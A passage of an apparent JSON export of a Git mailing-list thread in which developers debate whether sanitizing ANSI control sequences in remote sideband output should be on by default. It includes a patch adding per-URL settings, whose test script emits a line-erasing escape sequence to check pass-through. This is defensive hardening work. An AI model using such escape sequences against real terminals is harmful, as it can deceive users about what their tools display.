Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-01-15T21:36:30Z","receivedAt":"2026-01-15T21:36:34Z","isPatch":true,"body":"Jeff King <peff@peff.net> writes:\n\n> Is there any reason we cannot introduce the new functionality as a\n> config option but _not_ enable it by default?\n>\n> That gives people the tools to protect themselves if they want to bear\n> the potential cost. It just feels a shame to deny them the tool because\n> we can't agree on the default.\n\nYeah, I like the suggestion---making it opt-in would have much less\nchance of breaking set-up people are relying on all of a sudden.\n\nThanks.\n"},{"id":"533999","messageId":"aWlz-0AOlsFLaBO9@fruit.crustytoothpaste.net","threadId":"62809","inReplyTo":"20260115211448.GF1053259@coredump.intra.peff.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"brian m. carlson","fromEmail":"sandals@crustytoothpaste.net","sentAt":"2026-01-15T23:10:51Z","receivedAt":"2026-01-15T23:10:58Z","isPatch":true,"body":"On 2026-01-15 at 21:14:48, Jeff King wrote:\n> Is there any reason we cannot introduce the new functionality as a\n> config option but _not_ enable it by default?\n> \n> That gives people the tools to protect themselves if they want to bear\n> the potential cost. It just feels a shame to deny them the tool because\n> we can't agree on the default.\n\nYes, I think that would be a fine and reasonable approach.\n-- \nbrian m. carlson (they/them)\nToronto, Ontario, CA\n"},{"id":"534000","messageId":"c0af9072-cf21-a7e2-5b78-eb70217b462c@gmx.de","threadId":"62809","inReplyTo":"xmqqa4yeblsx.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-15T23:12:47Z","receivedAt":"2026-01-15T23:12:58Z","isPatch":true,"body":"Hi Junio, Jeff, and other interested parties,\n\nOn Thu, 15 Jan 2026, Junio C Hamano wrote:\n\n> Jeff King <peff@peff.net> writes:\n> \n> > Is there any reason we cannot introduce the new functionality as a\n> > config option but _not_ enable it by default?\n> >\n> > That gives people the tools to protect themselves if they want to bear\n> > the potential cost. It just feels a shame to deny them the tool because\n> > we can't agree on the default.\n> \n> Yeah, I like the suggestion---making it opt-in would have much less\n> chance of breaking set-up people are relying on all of a sudden.\n\nCan you help me understand how these existing use cases (which are not\nactually in wide-spread use) aren't broken by design, given that they have\nno chance to ensure that their ANSI sequences go to an actual terminal\nthat can understand those sequences?\n\nAs such, it looks to me as if they have a valid goal, but go about it in a\nway that is easily improved: If they want color in their sideband output,\nthen Git has to be taught about it, much in the same way as bf1a11f0a10\n(sideband: highlight keywords in remote sideband output, 2018-08-07)\ntaught Git to highlight keywords in the remote sideband output. That is\nthe actual correct way to do this, not by expecting Git to pass through\nall bytes to the terminal without sanitizing, which is a well-known worst\npractice (not even GNU tar does that when listing the contents of an\narchive, nor does cURL do that, just to list two of the command-line\nprograms that sanitize properly what they pass on to the terminal).\n\nGiven that those use cases are rare (none of the popular Git forges\nsupport this!), and that it is a security issue, I still think that the\ndefault should be as I proposed: To pass through only a small subset of\nANSI control sequences that you gentle people already agreed should be\nsafe.\n\nKeep in mind that I already accommodated the concern that has been raised\nover and over again about _a few_ pre-receive hooks out there making their\nerrors colorful, by making the default so that color sequences are\nactually passed through! In light of that, I am a bit puzzled how much\nmore you want to be passed through by default, it sounds as if you want to\nturn off all sanitizing by default, even if not a single of those\n(uncommon) use cases that have been raised need anything else than ANSI\ncolor sequences to be passed through, and even if passing through control\nsequences to the terminal completely unsanitized is insecure.\n\nCiao,\nJohannes\n"},{"id":"534012","messageId":"aWnekt4ESo0bKpOT@pks.im","threadId":"62809","inReplyTo":"c0af9072-cf21-a7e2-5b78-eb70217b462c@gmx.de","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-16T06:45:38Z","receivedAt":"2026-01-16T06:45:45Z","isPatch":true,"body":"On Fri, Jan 16, 2026 at 12:12:47AM +0100, Johannes Schindelin wrote:\n> Hi Junio, Jeff, and other interested parties,\n> \n> On Thu, 15 Jan 2026, Junio C Hamano wrote:\n> \n> > Jeff King <peff@peff.net> writes:\n> > \n> > > Is there any reason we cannot introduce the new functionality as a\n> > > config option but _not_ enable it by default?\n> > >\n> > > That gives people the tools to protect themselves if they want to bear\n> > > the potential cost. It just feels a shame to deny them the tool because\n> > > we can't agree on the default.\n> > \n> > Yeah, I like the suggestion---making it opt-in would have much less\n> > chance of breaking set-up people are relying on all of a sudden.\n> \n> Can you help me understand how these existing use cases (which are not\n> actually in wide-spread use) aren't broken by design, given that they have\n> no chance to ensure that their ANSI sequences go to an actual terminal\n> that can understand those sequences?\n> \n> As such, it looks to me as if they have a valid goal, but go about it in a\n> way that is easily improved: If they want color in their sideband output,\n> then Git has to be taught about it, much in the same way as bf1a11f0a10\n> (sideband: highlight keywords in remote sideband output, 2018-08-07)\n> taught Git to highlight keywords in the remote sideband output. That is\n> the actual correct way to do this, not by expecting Git to pass through\n> all bytes to the terminal without sanitizing, which is a well-known worst\n> practice (not even GNU tar does that when listing the contents of an\n> archive, nor does cURL do that, just to list two of the command-line\n> programs that sanitize properly what they pass on to the terminal).\n> \n> Given that those use cases are rare (none of the popular Git forges\n> support this!), and that it is a security issue, I still think that the\n> default should be as I proposed: To pass through only a small subset of\n> ANSI control sequences that you gentle people already agreed should be\n> safe.\n\nI have to agree with Johannes here. There's been way to many CVEs\nassigned to terminal emulators out there that allowed arbitrary code\nexecution via ANSI escape sequences. Sure, you could argue that this is\nan issue in the terminal emulator that needs to be fixed, and that is\ncertainly true. But we are significantly increasing the attack surface\nif we don't sanitize escape sequences. And even when working as designed\nI would claim that a lot of the escape sequences can cause active harm\n[1][2][3].\n\nSo I would think that we should have behaviour in Git that is safe by\ndefault, not safe if you know that the options happen to exist. Because\nif we do the latter, then the majority of people will never enable it,\nand I'm just not sure whether it's a good idea to increase the attack\nsurface for the majority of our users only to enable a small set of\nniche edge cases. Doubly so when those niche edge cases can be made to\nwork again with an opt-out.\n\nPatrick\n\n[1]: https://cwe.mitre.org/data/definitions/150.html\n[2]: https://www.infosecmatter.com/terminal-escape-injection/\n[3]: https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-terminal-emulators-with-ansi-escape-characters\n"},{"id":"534028","messageId":"CA+B51BEs7kuJ7s+K2vbZLSoaq3krGrqVncQAaTjSSNazFLY3tw@mail.gmail.com","threadId":"62809","inReplyTo":"aWnekt4ESo0bKpOT@pks.im","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Ondrej Pohorelsky","fromEmail":"opohorel@redhat.com","sentAt":"2026-01-16T12:12:57Z","receivedAt":"2026-01-16T12:13:12Z","isPatch":true,"body":"Hi, I just want to weight in from the downstream maintainer POV.\nWe've been carrying the patches Johannes has created in Fedora, CentOS\nand RHEL for at least half a year now.\nThe only change I did is to make the new behavior opt-in by default\nand give the RHEL customers a release note explaining it.\nSo far, I haven't heard about any issue with the patch, but sadly I\nhave no idea how widely it is used.\n\nI think the patches proposed are making sense, and they should be\nmerged. Even having them as opt-in is better than not having them\nmerged at all.\nIn my opinion, giving a user option to harden against this kind of\nattacks shouldn't be blocked by the discussion about what is the right\ndefault.\n\n\n\nOn Fri, Jan 16, 2026 at 7:45 AM Patrick Steinhardt <ps@pks.im> wrote:\n>\n> On Fri, Jan 16, 2026 at 12:12:47AM +0100, Johannes Schindelin wrote:\n> > Hi Junio, Jeff, and other interested parties,\n> >\n> > On Thu, 15 Jan 2026, Junio C Hamano wrote:\n> >\n> > > Jeff King <peff@peff.net> writes:\n> > >\n> > > > Is there any reason we cannot introduce the new functionality as a\n> > > > config option but _not_ enable it by default?\n> > > >\n> > > > That gives people the tools to protect themselves if they want to bear\n> > > > the potential cost. It just feels a shame to deny them the tool because\n> > > > we can't agree on the default.\n> > >\n> > > Yeah, I like the suggestion---making it opt-in would have much less\n> > > chance of breaking set-up people are relying on all of a sudden.\n> >\n> > Can you help me understand how these existing use cases (which are not\n> > actually in wide-spread use) aren't broken by design, given that they have\n> > no chance to ensure that their ANSI sequences go to an actual terminal\n> > that can understand those sequences?\n> >\n> > As such, it looks to me as if they have a valid goal, but go about it in a\n> > way that is easily improved: If they want color in their sideband output,\n> > then Git has to be taught about it, much in the same way as bf1a11f0a10\n> > (sideband: highlight keywords in remote sideband output, 2018-08-07)\n> > taught Git to highlight keywords in the remote sideband output. That is\n> > the actual correct way to do this, not by expecting Git to pass through\n> > all bytes to the terminal without sanitizing, which is a well-known worst\n> > practice (not even GNU tar does that when listing the contents of an\n> > archive, nor does cURL do that, just to list two of the command-line\n> > programs that sanitize properly what they pass on to the terminal).\n> >\n> > Given that those use cases are rare (none of the popular Git forges\n> > support this!), and that it is a security issue, I still think that the\n> > default should be as I proposed: To pass through only a small subset of\n> > ANSI control sequences that you gentle people already agreed should be\n> > safe.\n>\n> I have to agree with Johannes here. There's been way to many CVEs\n> assigned to terminal emulators out there that allowed arbitrary code\n> execution via ANSI escape sequences. Sure, you could argue that this is\n> an issue in the terminal emulator that needs to be fixed, and that is\n> certainly true. But we are significantly increasing the attack surface\n> if we don't sanitize escape sequences. And even when working as designed\n> I would claim that a lot of the escape sequences can cause active harm\n> [1][2][3].\n>\n> So I would think that we should have behaviour in Git that is safe by\n> default, not safe if you know that the options happen to exist. Because\n> if we do the latter, then the majority of people will never enable it,\n> and I'm just not sure whether it's a good idea to increase the attack\n> surface for the majority of our users only to enable a small set of\n> niche edge cases. Doubly so when those niche edge cases can be made to\n> work again with an opt-out.\n>\n> Patrick\n>\n> [1]: https://cwe.mitre.org/data/definitions/150.html\n> [2]: https://www.infosecmatter.com/terminal-escape-injection/\n> [3]: https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-terminal-emulators-with-ansi-escape-characters\n>\n\n\n--\n\nOndřej Pohořelský\n\nSoftware Engineer\n\nRed Hat\n\nopohorel@redhat.com\n\n"},{"id":"534044","messageId":"xmqq3445bn33.fsf@gitster.g","threadId":"62809","inReplyTo":"CA+B51BEs7kuJ7s+K2vbZLSoaq3krGrqVncQAaTjSSNazFLY3tw@mail.gmail.com","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-01-16T15:21:04Z","receivedAt":"2026-01-16T15:21:09Z","isPatch":true,"body":"Ondrej Pohorelsky <opohorel@redhat.com> writes:\n\n> Hi, I just want to weight in from the downstream maintainer POV.\n> We've been carrying the patches Johannes has created in Fedora, CentOS\n> and RHEL for at least half a year now.\n> The only change I did is to make the new behavior opt-in by default\n> and give the RHEL customers a release note explaining it.\n\nThanks for your great input.  FWIW, I do not think anybody around\nhere is against \"opt-in with a note\" approach at all.\n\n> I think the patches proposed are making sense, and they should be\n> merged. Even having them as opt-in is better than not having them\n> merged at all.\n\nI do not think anybody disagrees with this sentiment.  Back when the\npatches originally was discussed on the public list here, nobody was\nagainst adding it as an _optional_ feature to filter some byte\nsequences out of the end-user's data stream, and the review comments\nthat led to the topic marked to be \"expecting a reroll\", if I recall\ncorrectly, were all about \"why would we make this on by default?\"\nPeff's message that reignited the topic this time around is also\nabout the same.\n\nWe are still hearing from Dscho that he cannot think of a scenario\nwhere making this mandatory with opt-out would break existing\nlegitimate setup people may have (I am paraphrasing [*]), but I\nthink that is aiming in the wrong direction.  It does not matter if\nyou consider the approach your users take is \"broken by design\"; as\nlong as it works for them in their (limited) settings, it is a valid\narrangement to send arbitrary byte sequence over the sideband even\nit happens to include ANSI escapes and other \"curiosities\".  We have\nin no position to unilaterally break them, telling them that we left\na way open for them to disable.  That is not how to deliver features.\n\nI strongly suspect that the reason why you made \"The only\nchange---opt-in by default\" is from the same reasoning as above.  Do\nnot break end-users' set-up.  As long as it works for them, it is\nnot \"broken by design\" to them, and it is irresponsible to break\ntheir set-up.\n\nBut an opt-in way to filter suspicious byte sequences is a good\nthing, as such a mechanism did not exist before.\n\nSo in short, yes, everybody around here agrees with you that the\nfeature as an opt-in is a great addition.\n\n\n[Footnote]\n\n * Here is from <c0af9072-cf21-a7e2-5b78-eb70217b462c@gmx.de>\n   without my paraphrasing.\n\n   \"\"\"Can you help me understand how these existing use cases (which\n   are not actually in wide-spread use) aren't broken by design, given\n   that they have no chance to ensure that their ANSI sequences go to\n   an actual terminal that can understand those sequences?\"\"\"\n\n"},{"id":"534072","messageId":"bdd25bce-e69a-bc42-b7aa-a171a9cbce02@gmx.de","threadId":"62809","inReplyTo":"xmqq3445bn33.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-16T18:46:56Z","receivedAt":"2026-01-16T18:47:00Z","isPatch":true,"body":"Hi Junio,\n\nOn Fri, 16 Jan 2026, Junio C Hamano wrote:\n\n> Ondrej Pohorelsky <opohorel@redhat.com> writes:\n> \n> > Hi, I just want to weight in from the downstream maintainer POV.\n> > We've been carrying the patches Johannes has created in Fedora, CentOS\n> > and RHEL for at least half a year now.\n> > The only change I did is to make the new behavior opt-in by default\n> > and give the RHEL customers a release note explaining it.\n> \n> Thanks for your great input.\n\nWell, I have another great input: Git for Windows (and as a consequence,\nMicrosoft Git) has been shipping with the original version of these\npatches for over a year now. There has been not a single report that the\nbehavior (safe by default) has caused any problem whatsoever. Not one.\n\n> FWIW, I do not think anybody around here is against \"opt-in with a note\"\n> approach at all.\n\nDoes what I say not count? Additionally, I think you misinterpreted\nPatrick's reply, who pointed out that Git should be safe by default (i.e.\n\"opt-out\").\n\nLet me state quite clearly that even that unfortunate phrasing of an\n\"opt-in vs opt-out\" needs to be reconsidered: It makes it sound as if it\nwas a choice of all vs nothing. But that's far from the truth!\n\nThis patch series not only introduces support for sanitizing the sideband\nchannel, as should have been the practice from the get-go to make Git\nsafe. It introduces several levels of sanitizing. And by default, it\npasses through the ANSI color sequences, the very thing that was pointed\nout as an existing use case.\n\nIf you can point me to an existing, legitimate use case where this would\nnot satisfy both users who wish to be safe as well as the oft-mentioned\nexisting use cases that play games with the sideband, I am happy to\ndiscuss it further.\n\n> > I think the patches proposed are making sense, and they should be\n> > merged. Even having them as opt-in is better than not having them\n> > merged at all.\n> \n> I do not think anybody disagrees with this sentiment.  Back when the\n> patches originally was discussed on the public list here, nobody was\n> against adding it as an _optional_ feature to filter some byte\n> sequences out of the end-user's data stream, and the review comments\n> that led to the topic marked to be \"expecting a reroll\", if I recall\n> correctly, were all about \"why would we make this on by default?\"\n> Peff's message that reignited the topic this time around is also\n> about the same.\n\nLet me challenge you on that. Let me ask you why, when it is a well-known\nbest practice to santizie untrusted bytes before sending them to a\nterminal, Git should do the opposite by default?\n\nUnless I am completely misunderstanding you and by \"opt-in\", you mean to\nopt into the unsafe behavior to pass through all the control characters\nwithout filtering?\n\n> We are still hearing from Dscho that he cannot think of a scenario\n> where making this mandatory with opt-out would break existing\n> legitimate setup people may have (I am paraphrasing [*]), but I\n> think that is aiming in the wrong direction.  It does not matter if\n> you consider the approach your users take is \"broken by design\"; as\n> long as it works for them in their (limited) settings, it is a valid\n> arrangement to send arbitrary byte sequence over the sideband even\n> it happens to include ANSI escapes and other \"curiosities\".  We have\n> in no position to unilaterally break them, telling them that we left\n> a way open for them to disable.  That is not how to deliver features.\n\nIf this were a feature that is nice to have, I would agree with you that\nit is not how to deliver features.\n\nIn this instance, we are talking about security, though. ANSI control\nsequences have been used to execute successful attacks. If Git allows\nremote servers to mislead users to think that Git is asking for their\ninput, it is unsafe by default. And that's what this patch series tries to\nfix. Not by asking users who wish to be safe to read the release notes and\nconfigure a setting. But by having a safe default in the first place.\n\nCiao,\nJohannes\n\n> I strongly suspect that the reason why you made \"The only\n> change---opt-in by default\" is from the same reasoning as above.  Do\n> not break end-users' set-up.  As long as it works for them, it is\n> not \"broken by design\" to them, and it is irresponsible to break\n> their set-up.\n> \n> But an opt-in way to filter suspicious byte sequences is a good\n> thing, as such a mechanism did not exist before.\n> \n> So in short, yes, everybody around here agrees with you that the\n> feature as an opt-in is a great addition.\n> \n> [Footnote]\n> \n>  * Here is from <c0af9072-cf21-a7e2-5b78-eb70217b462c@gmx.de>\n>    without my paraphrasing.\n> \n>    \"\"\"Can you help me understand how these existing use cases (which\n>    are not actually in wide-spread use) aren't broken by design, given\n>    that they have no chance to ensure that their ANSI sequences go to\n>    an actual terminal that can understand those sequences?\"\"\"\n> \n> \n"},{"id":"534077","messageId":"xmqqikd1744b.fsf@gitster.g","threadId":"62809","inReplyTo":"bdd25bce-e69a-bc42-b7aa-a171a9cbce02@gmx.de","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-01-16T19:24:20Z","receivedAt":"2026-01-16T19:24:23Z","isPatch":true,"body":"Johannes Schindelin <Johannes.Schindelin@gmx.de> writes:\n\n>> FWIW, I do not think anybody around here is against \"opt-in with a note\"\n>> approach at all.\n>\n> Does what I say not count? Additionally, I think you misinterpreted\n> Patrick's reply, who pointed out that Git should be safe by default (i.e.\n> \"opt-out\").\n\nWhat I meant was there is nobody who does not want these filtering\nchanges under any shape.  Everybody is OK with these filtering, even\nthose of us who do not want to give unnecessary regressions to end\nusers, as long as it is opt-in.\n\nUnless you and Patrick thinks we should not add the filtering\nfeature unless we enable it by default, that is.\n"},{"id":"534078","messageId":"2ff3b9a0-9c84-6e9e-d4fe-0a19adcdd215@gmx.de","threadId":"62809","inReplyTo":"xmqqpl8avbop.fsf@gitster.g","subject":"Re: [PATCH v2 2/4] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-16T19:25:42Z","receivedAt":"2026-01-16T19:25:57Z","isPatch":true,"body":"Hi Junio,\n\nOn Fri, 19 Dec 2025, Junio C Hamano wrote:\n\n> Johannes Schindelin <Johannes.Schindelin@gmx.de> writes:\n> \n> > Good idea! What do you think about something like this?\n> \n> It may be easier to hack up to piggyback on the http.*.variable\n> infrastructure, but I do not like the smell of it very much, because\n> the implementation ties it too tightly to the http transport; I\n> think this should live in one layer up (transport?).\n> \n> > If this is the direction you're thinking, I'll polish it and integrate it\n> > into v3.\n> \n> In other words, it would be more like sideband.allowEscapeSequences\n> that is overridden by sideband.<url>.allowEscapeSequences was what I\n> had in mind.  Or even transfer.allowEscapeSequencesInSideband that\n> is overridden by transfer.<url>.allowEscapeSequencesInSideband.\n\nThat was quite a bit trickier than I hoped for. But here it finally is:\n\n-- snip --\nFrom: Johannes Schindelin <johannes.schindelin@gmx.de>\nSubject: [PATCH] sideband: offer to configure sanitizing on a per-URL basis\n\nThe main objection against sanitizing the sideband that was raised\nduring the review of the sideband sanitizing patches, first on the\ngit-security mailing list, then on the public mailing list, was that\nthere are some setups where server-side `pre-receive` hooks want to\nerror out, giving colorful messages to the users on the client side (if\nthey are not redirecting the output into a file, that is).\n\nTo avoid breaking such setups, the default chosen by the sideband\nsanitizing patches is to pass through ANSI color sequences.\n\nStill, there might be some use case out there where that is not enough.\nTherefore the `sideband.allowControlCharacters` config setting allows\nfor configuring  levels of sanitizing.\n\nAs Junio Hamano pointed out, to keep users safe by default, we need to\nbe able to scope this to some servers because while a user may trust\ntheir company's Git server, the same might not apply to other Git\nservers.\n\nTo allow for this, let's imitate the way `http.<url>.*` offers\nto scope config settings to certain URLs, by letting users\noverride the `sideband.allowControlCharacters` setting via\n`sideband.<url>.allowControlCharacters`.\n\nSuggested-by: Junio Hamano <gitster@pobox.com>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   |  4 ++\n sideband.c                          | 69 +++++++++++++++++++++--------\n sideband.h                          | 14 ++++++\n t/t5409-colorize-remote-messages.sh | 24 ++++++++++\n transport.c                         |  3 ++\n 5 files changed, 96 insertions(+), 18 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex 8eb7656cdd2..cc2cc463bef 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -22,3 +22,7 @@ sideband.allowControlCharacters::\n \ttrue::\n \t\tAllow all control characters to be sent to the terminal.\n --\n+\n+sideband.<url>.*::\n+\tApply the `sideband.*` option selectively to specific URLs. The\n+\tsame URL matching logic applies as for `http.<url>.*` settings.\ndiff --git a/sideband.c b/sideband.c\nindex 725e24db0db..e856981ea55 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -9,6 +9,7 @@\n #include \"help.h\"\n #include \"pkt-line.h\"\n #include \"write-or-die.h\"\n+#include \"urlmatch.h\"\n \n struct keyword_entry {\n \t/*\n@@ -26,13 +27,14 @@ static struct keyword_entry keywords[] = {\n };\n \n static enum {\n+\tALLOW_CONTROL_SEQUENCES_UNSET = -1,\n \tALLOW_NO_CONTROL_CHARACTERS = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n \tALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,\n \tALLOW_ANSI_ERASE = 1<<2,\n \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n \tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n-} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+} allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \t\t\t\t     const char **out)\n@@ -44,8 +46,19 @@ static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \treturn 1;\n }\n \n-static void parse_allow_control_characters(const char *value)\n+int sideband_allow_control_characters_config(const char *var, const char *value)\n {\n+\tswitch (git_parse_maybe_bool(value)) {\n+\tcase 0:\n+\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tcase 1:\n+\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n \t\tif (skip_prefix_in_csv(value, \"default\", &value))\n@@ -61,9 +74,37 @@ static void parse_allow_control_characters(const char *value)\n \t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n \t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\twarning(_(\"unrecognized value for '%s': '%s'\"), var, value);\n \t}\n+\treturn 0;\n+}\n+\n+static int sideband_config_callback(const char *var, const char *value,\n+\t\t\t\t    const struct config_context *ctx UNUSED,\n+\t\t\t\t    void *data UNUSED)\n+{\n+\tif (!strcmp(var, \"sideband.allowcontrolcharacters\"))\n+\t\treturn sideband_allow_control_characters_config(var, value);\n+\n+\treturn 0;\n+}\n+\n+void sideband_apply_url_config(const char *url)\n+{\n+\tstruct urlmatch_config config = URLMATCH_CONFIG_INIT;\n+\tchar *normalized_url;\n+\n+\tif (!url)\n+\t\tBUG(\"must not call sideband_apply_url_config(NULL)\");\n+\n+\tconfig.section = \"sideband\";\n+\tconfig.collect_fn = sideband_config_callback;\n+\n+\tnormalized_url = url_normalize(url, &config.url);\n+\tgit_config(urlmatch_config_entry, &config);\n+\tfree(normalized_url);\n+\tstring_list_clear(&config.vars, 1);\n+\turlmatch_config_release(&config);\n }\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n@@ -79,20 +120,12 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n-\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n-\tcase 0: /* Boolean value */\n-\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n-\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n-\t\tbreak;\n-\tcase -1: /* non-Boolean value */\n-\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n-\t\t\t\t\t      &value))\n-\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse\n-\t\t\tparse_allow_control_characters(value);\n-\t\tbreak;\n-\tdefault:\n-\t\tbreak; /* not configured */\n+\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n+\t\tif (!git_config_get_value(\"sideband.allowcontrolcharacters\", &value))\n+\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n+\n+\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n \t}\n \n \tif (!git_config_get_string_tmp(key, &value))\ndiff --git a/sideband.h b/sideband.h\nindex 5a25331be55..d15fa4015fa 100644\n--- a/sideband.h\n+++ b/sideband.h\n@@ -30,4 +30,18 @@ int demultiplex_sideband(const char *me, int status,\n \n void send_sideband(int fd, int band, const char *data, ssize_t sz, int packet_max);\n \n+/*\n+ * Apply sideband configuration for the given URL. This should be called\n+ * when a transport is created to allow URL-specific configuration of\n+ * sideband behavior (e.g., sideband.<url>.allowControlCharacters).\n+ */\n+void sideband_apply_url_config(const char *url);\n+\n+/*\n+ * Parse and set the sideband allow control characters configuration.\n+ * The var parameter should be the key name (without section prefix).\n+ * Returns 0 if the variable was recognized and handled, non-zero otherwise.\n+ */\n+int sideband_allow_control_characters_config(const char *var, const char *value);\n+\n #endif\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex c3e4e143627..1d039cbdafb 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -167,4 +167,28 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n '\n \n+test_expect_success 'allow all control sequences for a specific URL' '\n+\twrite_script .git/eraser <<-\\EOF &&\n+\tprintf \"error: Ohai!\\\\r\\\\033[K\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./eraser &&\n+\ttest_commit one-more-please &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded\n+'\n+\n test_done\ndiff --git a/transport.c b/transport.c\nindex 1098bbd60e4..e19536c9c6b 100644\n--- a/transport.c\n+++ b/transport.c\n@@ -28,6 +28,7 @@\n #include \"object-name.h\"\n #include \"color.h\"\n #include \"bundle-uri.h\"\n+#include \"sideband.h\"\n \n static int transport_use_color = -1;\n static char transport_colors[][COLOR_MAXLEN] = {\n@@ -1210,6 +1211,8 @@ struct transport *transport_get(struct remote *remote, const char *url)\n \n \tret->hash_algo = &hash_algos[GIT_HASH_SHA1];\n \n+\tsideband_apply_url_config(ret->url);\n+\n \treturn ret;\n }\n \n-- snap --\n\nThat should address this particular concern of yours.\n\n> >>  - It may no longer matter but a remote repository that may send\n> >>    messages as strings encoded in ISO/IEC 2022 would need to set\n> >>    this, merely to make the messages human-readable.  There may be\n> >>    other reasons the trusted repositories want to send \"escape\n> >>    sequences\".\n> >\n> > If the remote side has no way to determine whether the client side is\n> > connected to a terminal or not (which we have already established in this\n> > thread), it has even less chance to determine which character encoding is\n> > in use...\n> \n> Then I think you need to re-read brian's\n> \n>   https://lore.kernel.org/git/aS-D5lD2Kk6BHNIl@fruit.crustytoothpaste.net/\n\nOh, but brian described a scenario that is quite different: it is using\nSSH. And there, the hook has quite literally the ability to verify that\nthe output goes to a terminal. It is also implicitly much more trustable\nthan a random HTTPS server because if you have SSH credentials to\nauthenticate with a server, there is already a much stronger trust\nrelationship here. That scenario is far away from some repository on\nGitHub requiring a recursive clone that then points to some totally\nuntrustworthy HTTPS server hosted by the attacker.\n\n> In any case, I do not think ISO/IEC 2022 matters as much as it used\n> to back when the reencode_string_iconv() was written (which was the\n> topic of another thread regarding the broken iconv on macOS wrt\n> 2022).  But even if we limit ourselves to UTF-8, brian's point that\n> applications do assume certain characteristics on its clients and\n> implements unportable stuff.  A project targetting developers and/or\n> users from certain locale may use their own hooks that assumes the\n> clients understands strings in certain language in certain encoding.\n> \n> And to serve these projects better, classes like \"pass colors\",\n> \"pass cursor movements\", might help than just \"pass everything\" vs\n> \"deny everything\", but we probably want to try to keep it as simple\n> as possible; trying to make it finer grained with extra complexity\n> would only make our efforts look like whack-a-mole X-<.\n\nWell, I only introduced that complexity because you asked for it on the\ngit-security mailing list. You offered concerns that an all-or-nothing\nescape hatch was not fine-grained enough. It was hard enough for me to\ntickle out what granularity exactly would be needed in addition to appease\nthe concerns, and obviously even what I did was not enough to be\naccepted...\n\n> >> It might even be a good idea to make the default setting of this\n> >> variable \"allow\", except for the initial connections to repositories\n> >> (i.e., \"git clone $URL\", and \"git fetch/ls-remote $URL\" with an\n> >> explicit $URL without using a 